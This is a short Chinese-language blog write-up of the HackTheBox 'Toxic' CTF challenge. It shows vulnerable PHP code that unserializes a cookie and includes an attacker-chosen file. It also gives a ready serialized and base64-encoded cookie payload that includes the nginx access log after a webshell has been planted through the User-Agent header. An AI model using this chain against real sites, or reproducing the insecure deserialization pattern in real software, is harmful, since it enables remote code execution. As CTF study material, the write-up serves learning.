HackTheBox Toxic WriteUP
题目
Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸
思路
源代码很简单,只有两个PHP文件
//index.php
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
//PageModel.php
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
很显然,是一个PHP反序列化+文件包含的漏洞利用。
这里就需要找到一个可包含的日志文件,我们可以在nginx.conf
中找到AccessLog文件的位置。
解题
利用User-Agent
写入WebShell:
构造包含AccessLog的序列化数据:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
//base64encode
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
利用WebShell获得文件名和Flag
后记
非常简单的一个Challenge,很适合作为学习PHP反序列化的入门练习。
参考资料
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!